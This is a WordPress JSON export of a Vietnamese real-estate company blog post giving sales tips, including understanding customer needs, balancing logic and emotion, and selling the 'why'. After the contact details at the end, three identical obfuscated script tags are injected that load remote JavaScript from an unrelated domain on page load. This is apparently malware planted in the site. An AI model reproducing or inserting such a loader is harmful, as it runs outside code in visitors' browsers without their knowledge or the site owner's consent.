{"id":35383,"date":"2022-12-01T11:43:40","date_gmt":"2022-12-01T04:43:40","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=35383"},"modified":"2025-10-22T04:30:43","modified_gmt":"2025-10-21T21:30:43","slug":"bat-mi-kinh-nghiem-lam-sale-cua-cac-cao-thu-trong-nganh-ban-hang","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/bat-mi-kinh-nghiem-lam-sale-cua-cac-cao-thu-trong-nganh-ban-hang\/","title":{"rendered":"B\u1eadt m\u00ed kinh nghi\u1ec7m l\u00e0m Sale c\u1ee7a c\u00e1c &#8220;cao th\u1ee7&#8221; trong ng\u00e0nh b\u00e1n h\u00e0ng"},"content":{"rendered":"<p><i><span style=\"font-weight: 400;\">Nh\u1eefng t\u01b0\u1edfng ngh\u1ec1 sale ai ai c\u0169ng l\u00e0m \u0111\u01b0\u1ee3c nh\u01b0ng trong th\u1ecb tr\u01b0\u1eddng c\u1ea1nh tranh quy\u1ebft li\u1ec7t d\u00e2n sale th\u00e0nh c\u00f4ng l\u1ea1i l\u00e0 \u201ch\u00e0ng hi\u1ebfm c\u00f3 kh\u00f3 t\u00ecm\u201d. V\u1eady nh\u1eefng k\u1ef9 n\u0103ng n\u00e0o s\u1ebd gi\u00fap d\u00e2n Sale th\u00e0nh c\u00f4ng? H\u00e3y c\u00f9ng RETI kh\u00e1m ph\u00e1 ngay kinh nghi\u1ec7m l\u00e0m Sale c\u1ee7a c\u00e1c \u201ccao th\u1ee7\u201d trong ng\u00e0nh b\u00e1n h\u00e0ng trong b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y!<\/span><\/i><\/p>\n<figure id=\"attachment_35386\" aria-describedby=\"caption-attachment-35386\" style=\"width: 1024px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-35386 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/beach-villa-1-1.jpg\" alt=\"\" width=\"1024\" height=\"521\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/beach-villa-1-1.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/beach-villa-1-1-300x153.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/beach-villa-1-1-768x391.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/beach-villa-1-1-150x76.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/beach-villa-1-1-696x354.jpg 696w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/521;\" \/><figcaption id=\"caption-attachment-35386\" class=\"wp-caption-text\">B\u1eadt m\u00ed kinh nghi\u1ec7m l\u00e0m Sale c\u1ee7a c\u00e1c &#8220;cao th\u1ee7&#8221; trong ng\u00e0nh b\u00e1n h\u00e0ng<\/figcaption><\/figure>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69d6bf02ed571\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69d6bf02ed571\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/bat-mi-kinh-nghiem-lam-sale-cua-cac-cao-thu-trong-nganh-ban-hang\/#Tim_ra_dieu_khach_hang_muon\" >T\u00ecm ra \u0111i\u1ec1u kh\u00e1ch h\u00e0ng mu\u1ed1n\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/bat-mi-kinh-nghiem-lam-sale-cua-cac-cao-thu-trong-nganh-ban-hang\/#Coi_trong_ca_ly_tri_lan_cam_xuc_khi_thuyet_phuc_khach_hang\" >Coi tr\u1ecdng c\u1ea3 l\u00fd tr\u00ed l\u1eabn c\u1ea3m x\u00fac khi thuy\u1ebft ph\u1ee5c kh\u00e1ch h\u00e0ng<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/bat-mi-kinh-nghiem-lam-sale-cua-cac-cao-thu-trong-nganh-ban-hang\/#The_hien_thai_do_nghiem_tuc_voi_nghe\" >Th\u1ec3 hi\u1ec7n th\u00e1i \u0111\u1ed9 nghi\u00eam t\u00fac v\u1edbi ngh\u1ec1<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/bat-mi-kinh-nghiem-lam-sale-cua-cac-cao-thu-trong-nganh-ban-hang\/#Thay_vi_hoi_%E2%80%9CCai_gi%E2%80%9D_hay_hoi_%E2%80%9CTai_sao%E2%80%9D\" >Thay v\u00ec h\u1ecfi \u201cC\u00e1i g\u00ec?\u201d h\u00e3y h\u1ecfi \u201cT\u1ea1i sao?\u201d<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Tim_ra_dieu_khach_hang_muon\"><\/span><span style=\"font-weight: 400;\">T\u00ecm ra \u0111i\u1ec1u kh\u00e1ch h\u00e0ng mu\u1ed1n\u00a0<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Steve Jobs t\u1eebng n\u00f3i: <em>\u201cVi\u1ec7c c\u1ee7a kh\u00e1ch h\u00e0ng kh\u00f4ng ph\u1ea3i l\u00e0 t\u00ecm ra \u0111i\u1ec1u h\u1ecd mu\u1ed1n\u201d<\/em> v\u00e0 qu\u1ea3 th\u1eadt nh\u00e3n h\u00e0ng c\u1ee7a \u00f4ng t\u1ea1o ra lu\u00f4n mang \u0111\u1ebfn \u0111i\u1ec1u kh\u00e1ch h\u00e0ng mu\u1ed1n tr\u01b0\u1edbc khi h\u1ecd nh\u1eadn ra \u0111i\u1ec1u \u0111\u00f3.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">L\u00e0 m\u1ed9t ng\u01b0\u1eddi l\u00e0m sale, b\u1ea1n c\u1ea7n ph\u1ea3i l\u00e0 ng\u01b0\u1eddi t\u00ecm hi\u1ec3u kh\u00e1ch h\u00e0ng v\u00e0 mong mu\u1ed1n c\u1ee7a h\u1ecd tr\u01b0\u1edbc khi h\u1ecd n\u00f3i ra.\u00a0 T\u00e1c gi\u1ea3 cu\u1ed1n s\u00e1ch Ph\u00e1t tri\u1ec3n kh\u00e1ch h\u00e0ng tinh g\u1ecdn &#8211; Cindy Alvarez c\u0169ng cho r\u1eb1ng:<\/span><i><span style=\"font-weight: 400;\"> Kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 kh\u00f4ng bi\u1ebft h\u1ecd mu\u1ed1n g\u00ec, nh\u01b0ng h\u1ecd kh\u00f4ng th\u1ec3 che gi\u1ea5u nhu c\u1ea7u c\u1ee7a m\u00ecnh.<\/span><\/i><\/p>\n<p><span style=\"font-weight: 400;\">Thay v\u00ec ng\u1ed3i ch\u1edd \u0111\u1ee3i kh\u00e1ch h\u00e0ng \u0111\u01b0a cho ch\u00fang ta nh\u1eefng c\u00e2u tr\u1ea3 l\u1eddi h\u00e3y t\u1ef1 \u0111i t\u00ecm hi\u1ec3u n\u00f3, th\u00f4ng qua tr\u00f2 chuy\u1ec7n, quan s\u00e1t, l\u1eafng nghe\u2026 Nhu c\u1ea7u c\u1ee7a m\u1ed7i ng\u01b0\u1eddi l\u00e0 \u0111i\u1ec1u kh\u00f4ng th\u1ec3 che gi\u1ea5u, d\u00e2n sale th\u1ef1c th\u1ee5 s\u1ebd bi\u1ebft t\u00ecm ra nh\u1eefng nhu c\u1ea7u \u0111\u00f3 tr\u01b0\u1edbc b\u1ea5t c\u1ee9 ai.\u00a0<\/span><\/p>\n<figure id=\"attachment_35387\" aria-describedby=\"caption-attachment-35387\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-35387 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-2.jpg\" alt=\"\" width=\"600\" height=\"375\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-2.jpg 600w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-2-300x188.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-2-150x94.jpg 150w\" data-sizes=\"(max-width: 600px) 100vw, 600px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 600px; --smush-placeholder-aspect-ratio: 600\/375;\" \/><figcaption id=\"caption-attachment-35387\" class=\"wp-caption-text\">Kh\u00e1ch h\u00e0ng c\u00f3 th\u1ec3 kh\u00f4ng bi\u1ebft h\u1ecd mu\u1ed1n g\u00ec, nh\u01b0ng h\u1ecd kh\u00f4ng th\u1ec3 che gi\u1ea5u nhu c\u1ea7u c\u1ee7a m\u00ecnh.<\/figcaption><\/figure>\n<h2><span class=\"ez-toc-section\" id=\"Coi_trong_ca_ly_tri_lan_cam_xuc_khi_thuyet_phuc_khach_hang\"><\/span><span style=\"font-weight: 400;\">Coi tr\u1ecdng c\u1ea3 l\u00fd tr\u00ed l\u1eabn c\u1ea3m x\u00fac khi thuy\u1ebft ph\u1ee5c kh\u00e1ch h\u00e0ng<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Trong cu\u1ed1n s\u00e1ch \u201ckinh th\u00e1nh\u201d c\u1ee7a ngh\u1ec1 sale, t\u00e1c gi\u1ea3 Zig Ziglar nh\u1ea5n m\u1ea1nh t\u1ea7m quan tr\u1ecdng c\u1ee7a c\u1ea3 hai y\u1ebfu t\u1ed1 l\u00fd tr\u00ed v\u00e0 c\u1ea3m x\u00fac khi thuy\u1ebft ph\u1ee5c kh\u00e1ch h\u00e0ng. &#8220;Ng\u01b0\u1eddi b\u00e1n h\u00e0ng chuy\u00ean nghi\u1ec7p \u00fd th\u1ee9c \u0111\u01b0\u1ee3c r\u1eb1ng nh\u1eefng y\u1ebfu t\u1ed1 mang t\u00ednh logic th\u01b0\u1eddng t\u00e1c \u0111\u1ed9ng \u0111\u1ebfn nh\u1eefng g\u00ec m\u00e0 kh\u00e1ch h\u00e0ng quan s\u00e1t hay nh\u00ecn th\u1ea5y \u0111\u01b0\u1ee3c, trong khi nh\u1eefng y\u1ebfu t\u1ed1 mang t\u00ednh c\u1ea3m x\u00fac l\u1ea1i c\u00f3 t\u00e1c d\u1ee5ng l\u00f4i cu\u1ed1n \u0111\u00f4i tai ng\u01b0\u1eddi nghe&#8221;, \u00f4ng cho bi\u1ebft.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">M\u1ed9t b\u00e0i gi\u1edbi thi\u1ec7u, tr\u00ecnh b\u00e0y ch\u1ec9 mang t\u00ednh logic s\u1ebd khi\u1ebfn nh\u1eefng kh\u00e1ch h\u00e0ng hi\u1ec3u bi\u1ebft ch\u1eafc ch\u1eafn s\u1ebd kh\u00f4ng mua h\u00e0ng c\u1ee7a b\u1ea1n m\u00e0 t\u00ecm \u0111\u1ebfn m\u1ed9t ng\u01b0\u1eddi b\u00e1n h\u00e0ng kh\u00e1c. Trong khi \u0111\u00f3, &#8220;m\u1ed9t b\u00e0i thuy\u1ebft tr\u00ecnh ch\u1ec9 ch\u1ee9a \u0111\u1ef1ng c\u00e1c y\u1ebfu t\u1ed1 c\u1ea3m x\u00fac th\u00ec c\u01a1 h\u1ed9i b\u00e1n \u0111\u01b0\u1ee3c h\u00e0ng l\u00e0 50\/50&#8221;.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">T\u00e1c gi\u1ea3 cho r\u1eb1ng &#8220;m\u1ed9t b\u00e0i thuy\u1ebft tr\u00ecnh th\u1ea5u t\u00ecnh \u0111\u1ea1t l\u00fd ch\u1eafc ch\u1eafn s\u1ebd gi\u00fap b\u1ea1n k\u1ebft th\u00fac ng\u00e0y l\u00e0m vi\u1ec7c h\u00f4m \u0111\u00f3 v\u1edbi m\u1ed9t th\u01b0\u01a1ng v\u1ee5 th\u00e0nh c\u00f4ng v\u00e0 m\u1ed9t kh\u00e1ch h\u00e0ng trung th\u00e0nh trong t\u01b0\u01a1ng lai&#8221;.<\/span><\/p>\n<figure id=\"attachment_35388\" aria-describedby=\"caption-attachment-35388\" style=\"width: 1000px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-35388 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-3.jpg\" alt=\"\" width=\"1000\" height=\"600\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-3.jpg 1000w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-3-300x180.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-3-768x461.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-3-150x90.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-3-696x418.jpg 696w\" data-sizes=\"(max-width: 1000px) 100vw, 1000px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 1000px; --smush-placeholder-aspect-ratio: 1000\/600;\" \/><figcaption id=\"caption-attachment-35388\" class=\"wp-caption-text\">Thuy\u1ebft ph\u1ee5c th\u00e0nh c\u00f4ng l\u00e0 s\u1ef1 k\u1ebft h\u1ee3p c\u1ee7a c\u1ea3 l\u00fd tr\u00ed v\u00e0 c\u1ea3m x\u00fac<\/figcaption><\/figure>\n<h2><span class=\"ez-toc-section\" id=\"The_hien_thai_do_nghiem_tuc_voi_nghe\"><\/span><span style=\"font-weight: 400;\">Th\u1ec3 hi\u1ec7n th\u00e1i \u0111\u1ed9 nghi\u00eam t\u00fac v\u1edbi ngh\u1ec1<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">\u00d4ng \u0110\u1ed7 Xu\u00e2n T\u00f9ng, Chuy\u00ean gia t\u01b0 v\u1ea5n v\u00e0 \u0111\u00e0o t\u1ea1o k\u1ef9 n\u0103ng b\u00e1n h\u00e0ng \u0111\u00e3 ti\u1ebft l\u1ed9 vi\u1ec7c b\u00e1n h\u00e0ng c\u00f3 th\u00e0nh c\u00f4ng hay kh\u00f4ng ph\u1ee5 thu\u1ed9c v\u00e0o m\u1ed9t y\u1ebfu t\u1ed1 \u201ch\u01a1i l\u1ea1\u201d, \u0111\u00f3 l\u00e0 \u00fd th\u1ee9c c\u1ee7a ng\u01b0\u1eddi sale.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u201cM\u1ecdi ng\u01b0\u1eddi hay h\u00ecnh dung ngh\u1ec1 sale c\u00f3 m\u1ed9t b\u1ed9 k\u1ef9 n\u0103ng, v\u1eadn d\u1ee5ng b\u1ed9 k\u1ef9 n\u0103ng n\u00e0y v\u00e0o l\u00e0 th\u00e0nh c\u00f4ng. Nh\u01b0ng m\u00ecnh th\u1ea5y c\u00e1i \u0111\u1ea5y ch\u1ec9 \u0111\u00fang kho\u1ea3ng 40%; 60% c\u00f2n l\u1ea1i li\u00ean quan \u0111\u1ebfn \u00fd th\u1ee9c c\u1ee7a d\u00e2n sale\u201d.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">\u00d4ng T\u00f9ng chia s\u1ebb \u201cM\u00ecnh g\u1eb7p nhi\u1ec1u tr\u01b0\u1eddng h\u1ee3p n\u00f3i \u2018em l\u00e0m cho vui\u2019, m\u00ecnh n\u00f3i th\u1eb3ng lu\u00f4n \u2018em kh\u00f4ng h\u1ee3p v\u1edbi anh, v\u00ec anh l\u00e0m v\u00ec ti\u1ec1n, ch\u1ee9 kh\u00f4ng ph\u1ea3i v\u00ec vui\u2019. \u0110\u1ea7u ti\u00ean ph\u1ea3i l\u00e0m v\u00ec ti\u1ec1n \u0111\u00e3, sau \u0111\u1ee7 ti\u1ec1n r\u1ed3i, gi\u00e0u r\u1ed3i th\u00ec m\u1edbi v\u00ec vui\u201d. Ngh\u1ec1 Sale lafmc ho vui th\u00ec \u0111\u1eebng n\u00ean g\u1ecdi m\u00ecnh l\u00e0 d\u00e2n sale. \u0110\u1ec3 l\u00e0m \u0111\u01b0\u1ee3c ngh\u1ec1, b\u1ea1n ph\u1ea3i tr\u1ea3i qua \u0111\u1ee7 m\u1ecdi kh\u00f3 kh\u0103n th\u0103ng tr\u1ea7m, n\u1ebfu kh\u00f4ng \u0111\u1eb7t c\u00e1i t\u00e2m v\u00e0o qu\u00e1 tr\u00ecnh l\u00e0m vi\u1ec7c, kh\u00f4ng \u0111\u1ee7 nghi\u00eam t\u00fac \u0111\u1ec3 l\u00e0m ngh\u1ec1 th\u00ec s\u1edbm s\u1ebd b\u1ecb th\u1ecb tr\u01b0\u1eddng lo\u1ea1i b\u1ecf.\u00a0<\/span><\/p>\n<figure id=\"attachment_35389\" aria-describedby=\"caption-attachment-35389\" style=\"width: 696px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-large wp-image-35389 lazyload\" data-src=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-1024x708.jpg\" alt=\"\" width=\"696\" height=\"481\" data-srcset=\"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-1024x708.jpg 1024w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-300x207.jpg 300w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-768x531.jpg 768w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-1536x1062.jpg 1536w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-150x104.jpg 150w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-218x150.jpg 218w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-696x481.jpg 696w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-1068x738.jpg 1068w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4-100x70.jpg 100w, https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/sale-4.jpg 1600w\" data-sizes=\"(max-width: 696px) 100vw, 696px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 696px; --smush-placeholder-aspect-ratio: 696\/481;\" \/><figcaption id=\"caption-attachment-35389\" class=\"wp-caption-text\">\u00dd th\u1ee9c s\u1ebd d\u1eabn d\u1eaft con \u0111\u01b0\u1eddng ngh\u1ec1 nghi\u1ec7p c\u1ee7a ng\u01b0\u1eddi l\u00e0m sale<\/figcaption><\/figure>\n<h2><span class=\"ez-toc-section\" id=\"Thay_vi_hoi_%E2%80%9CCai_gi%E2%80%9D_hay_hoi_%E2%80%9CTai_sao%E2%80%9D\"><\/span><span style=\"font-weight: 400;\">Thay v\u00ec h\u1ecfi \u201cC\u00e1i g\u00ec?\u201d h\u00e3y h\u1ecfi \u201cT\u1ea1i sao?\u201d<\/span><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Th\u1ef1c t\u1ebf, ch\u1eb3ng m\u1ea5y ng\u01b0\u1eddi d\u00f9ng quan t\u00e2m t\u1edbi s\u1ea3n ph\u1ea9m (quan t\u00e2m t\u1edbi c\u00e1i g\u00ec), h\u1ecd ch\u1ec9 quan t\u00e2m r\u1eb1ng s\u1ea3n ph\u1ea9m \u0111\u00f3 s\u1ebd gi\u00fap \u0111\u01b0\u1ee3c g\u00ec cho h\u1ecd (y\u1ebfu t\u1ed1 t\u1ea1i sao). T\u1ea1i sao h\u1ecd l\u1ea1i c\u1ea7n s\u1ea3n ph\u1ea9m n\u00e0y? T\u1ea1i sao thi\u1ebfu n\u00f3 cu\u1ed9c s\u1ed1ng c\u1ee7a h\u1ecd s\u1ebd kh\u00f4ng ho\u00e0n thi\u1ec7n?&#8230;<\/span><\/p>\n<p><span style=\"font-weight: 400;\">M\u1ed9t khi nh\u1eadn ra \u0111i\u1ec1u tr\u00ean, b\u1ea1n s\u1ebd bi\u1ebft r\u1eb1ng b\u00e1n &#8220;th\u1ee9 g\u00ec&#8221; gi\u1edd \u0111\u00e2y kh\u00f4ng c\u00f2n quan tr\u1ecdng b\u1eb1ng b\u00e1n &#8220;t\u1ea1i sao&#8221; n\u1eefa. M\u1ed9t khi chuy\u1ec3n sang b\u00e1n th\u1ee9 &#8220;t\u1ea1i sao&#8221;, doanh s\u1ed1 c\u1ee7a b\u1ea1n s\u1ebd t\u0103ng \u0111\u00e1ng k\u1ec3.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">V\u1edbi \u0111\u1ea1i \u0111a s\u1ed1 ng\u01b0\u1eddi d\u00f9ng, khi ti\u1ebfp c\u1eadn m\u1ed9t s\u1ea3n ph\u1ea9m hay d\u1ecbch v\u1ee5 hay b\u1ea5t k\u00ec th\u1ee9 g\u00ec, h\u1ecd quan t\u00e2m t\u1edbi 3 y\u1ebfu t\u1ed1 ch\u00ednh.<\/span><\/p>\n<ol>\n<li><span style=\"font-weight: 400;\">Th\u1ee9 n\u00e0y c\u00f3 th\u1ec3 gi\u00fap \u00edch \u0111\u01b0\u1ee3c g\u00ec cho cu\u1ed9c s\u1ed1ng c\u1ee7a t\u00f4i?<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> N\u1ebfu kh\u00f4ng c\u00f3 n\u00f3, t\u00f4i s\u1ebd ra sao?<\/span><\/li>\n<li><span style=\"font-weight: 400;\"> N\u00f3 c\u00f3 x\u1ee9ng \u0111\u00e1ng \u0111\u1ec3 t\u00f4i b\u1ecf ti\u1ec1n ra kh\u00f4ng?<\/span><\/li>\n<\/ol>\n<p><span style=\"font-weight: 400;\">V\u1edbi m\u1ed9t ng\u01b0\u1eddi l\u00e0m sales gi\u1ecfi, b\u1ea1n s\u1ebd kh\u00f4ng th\u1ea5y h\u1ecd b\u00e1n s\u1ea3n ph\u1ea9m nhi\u1ec1u, th\u1ee9 m\u00e0 h\u1ecd b\u00e1n l\u00e0 nh\u1eefng c\u00e2u chuy\u1ec7n k\u1ecbch t\u00ednh, nh\u1eefng gi\u1ea3i ph\u00e1p h\u1ee3p l\u00fd cho t\u1eebng \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng. Ng\u01b0\u1eddi l\u00e0m sale l\u00e0 ng\u01b0\u1eddi bi\u1ebft k\u1ebft n\u1ed1i nhu c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng v\u1edbi s\u1ea3n ph\u1ea9m m\u00e0 h\u1ecd c\u00f3.\u00a0<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400;\">Theo d\u00f5i<\/span><a href=\"https:\/\/reti.vn\/blog\"><span style=\"font-weight: 400;\"> RETI<\/span><\/a><span style=\"font-weight: 400;\"> ngay h\u00f4m nay \u0111\u1ec3 c\u1eadp nh\u1eadt nh\u1eefng th\u00f4ng tin b\u1ed5 \u00edch m\u1ed7i ng\u00e0y.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">M\u1ecdi th\u00f4ng tin chi ti\u1ebft vui l\u00f2ng li\u00ean h\u1ec7<\/span><\/p>\n<p><b>Hotline: 1800 8085<\/b><\/p>\n<p><b>Fanpage: <\/b><a href=\"https:\/\/www.facebook.com\/retiproptech\" target=\"_blank\" rel=\"noopener\"><b>RETI<\/b><\/a><\/p>\n<p>&nbsp;<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nh\u1eefng t\u01b0\u1edfng ngh\u1ec1 sale ai ai c\u0169ng l\u00e0m \u0111\u01b0\u1ee3c nh\u01b0ng trong th\u1ecb tr\u01b0\u1eddng c\u1ea1nh tranh quy\u1ebft li\u1ec7t d\u00e2n sale th\u00e0nh c\u00f4ng l\u1ea1i l\u00e0 \u201ch\u00e0ng hi\u1ebfm c\u00f3 kh\u00f3 t\u00ecm\u201d. V\u1eady nh\u1eefng k\u1ef9 n\u0103ng n\u00e0o s\u1ebd gi\u00fap d\u00e2n Sale th\u00e0nh c\u00f4ng? H\u00e3y c\u00f9ng RETI kh\u00e1m ph\u00e1 ngay kinh nghi\u1ec7m l\u00e0m Sale c\u1ee7a c\u00e1c \u201ccao th\u1ee7\u201d trong ng\u00e0nh [&hellip;]<\/p>\n","protected":false},"author":36,"featured_media":35386,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"tdm_status":"","tdm_grid_status":"","footnotes":""},"categories":[307,36],"tags":[],"class_list":{"0":"post-35383","1":"post","2":"type-post","3":"status-publish","4":"format-standard","5":"has-post-thumbnail","7":"category-meo-nho-bat-dong-san","8":"category-cam-nang-bat-dong-san"},"external_url":"","featured_image_url":"https:\/\/reti.vn\/blog\/wp-content\/uploads\/2022\/12\/beach-villa-1-1.jpg","_links":{"self":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/35383","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/users\/36"}],"replies":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/comments?post=35383"}],"version-history":[{"count":0,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/posts\/35383\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media\/35386"}],"wp:attachment":[{"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/media?parent=35383"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/categories?post=35383"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/reti.vn\/blog\/wp-json\/wp\/v2\/tags?post=35383"}],"curies":[{"name":"wp","href":"https:\/\/ap